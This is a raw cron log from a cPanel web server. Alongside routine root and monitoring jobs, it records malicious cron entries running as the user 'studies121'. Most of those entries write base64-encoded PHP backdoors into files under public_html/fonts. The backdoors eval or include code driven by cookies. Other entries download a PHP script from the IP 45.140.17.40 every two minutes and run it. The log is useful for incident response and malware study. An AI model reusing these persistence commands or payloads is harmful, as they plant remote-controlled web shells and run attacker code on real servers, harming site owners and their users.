Sep 22 06:03:01 ip-184-168-122-23 CROND[32337]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 06:04:01 ip-184-168-122-23 CROND[32498]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 06:04:01 ip-184-168-122-23 CROND[32499]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 06:04:01 ip-184-168-122-23 CROND[32503]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 06:04:01 ip-184-168-122-23 CROND[32502]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 06:04:01 ip-184-168-122-23 CROND[32504]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 06:05:01 ip-184-168-122-23 CROND[32673]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 06:05:01 ip-184-168-122-23 CROND[32676]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 06:05:01 ip-184-168-122-23 CROND[32674]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 06:05:01 ip-184-168-122-23 CROND[32680]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 06:05:01 ip-184-168-122-23 CROND[32677]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 06:05:01 ip-184-168-122-23 CROND[32678]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 06:05:01 ip-184-168-122-23 CROND[32679]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 06:06:01 ip-184-168-122-23 CROND[454]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 06:06:01 ip-184-168-122-23 CROND[456]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 06:06:01 ip-184-168-122-23 CROND[458]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 06:06:01 ip-184-168-122-23 CROND[457]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 06:06:01 ip-184-168-122-23 CROND[459]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 06:07:01 ip-184-168-122-23 CROND[636]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 06:07:01 ip-184-168-122-23 CROND[638]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 06:07:01 ip-184-168-122-23 CROND[639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 06:07:01 ip-184-168-122-23 CROND[637]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 06:08:01 ip-184-168-122-23 CROND[846]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 06:08:01 ip-184-168-122-23 CROND[850]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 06:08:01 ip-184-168-122-23 CROND[849]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 06:08:02 ip-184-168-122-23 CROND[848]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 06:08:02 ip-184-168-122-23 CROND[852]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 06:09:01 ip-184-168-122-23 CROND[996]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 06:09:01 ip-184-168-122-23 CROND[997]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 22 06:09:01 ip-184-168-122-23 CROND[998]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 06:09:01 ip-184-168-122-23 CROND[999]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 06:09:01 ip-184-168-122-23 CROND[1002]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 06:10:01 ip-184-168-122-23 CROND[1134]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 06:10:01 ip-184-168-122-23 CROND[1137]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 06:10:01 ip-184-168-122-23 CROND[1141]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 06:10:01 ip-184-168-122-23 CROND[1142]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 06:10:01 ip-184-168-122-23 CROND[1140]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 06:10:01 ip-184-168-122-23 CROND[1143]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 06:10:01 ip-184-168-122-23 CROND[1138]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 06:10:01 ip-184-168-122-23 CROND[1139]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 06:11:01 ip-184-168-122-23 CROND[1285]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 06:11:01 ip-184-168-122-23 CROND[1286]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 06:11:01 ip-184-168-122-23 CROND[1289]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 06:11:01 ip-184-168-122-23 CROND[1290]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 06:12:01 ip-184-168-122-23 CROND[1450]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 06:12:01 ip-184-168-122-23 CROND[1453]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 06:12:01 ip-184-168-122-23 CROND[1452]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 06:12:01 ip-184-168-122-23 CROND[1454]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 06:12:01 ip-184-168-122-23 CROND[1455]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 06:13:01 ip-184-168-122-23 CROND[1663]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 06:13:01 ip-184-168-122-23 CROND[1662]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 06:13:01 ip-184-168-122-23 CROND[1665]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 06:13:01 ip-184-168-122-23 CROND[1667]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 06:14:01 ip-184-168-122-23 CROND[1817]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 06:14:01 ip-184-168-122-23 CROND[1820]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 06:14:01 ip-184-168-122-23 CROND[1821]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 06:14:01 ip-184-168-122-23 CROND[1818]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 06:14:01 ip-184-168-122-23 CROND[1819]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 06:15:01 ip-184-168-122-23 CROND[1950]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 06:15:01 ip-184-168-122-23 CROND[1955]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 06:15:01 ip-184-168-122-23 CROND[1956]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 06:15:01 ip-184-168-122-23 CROND[1958]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 06:15:01 ip-184-168-122-23 CROND[1957]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
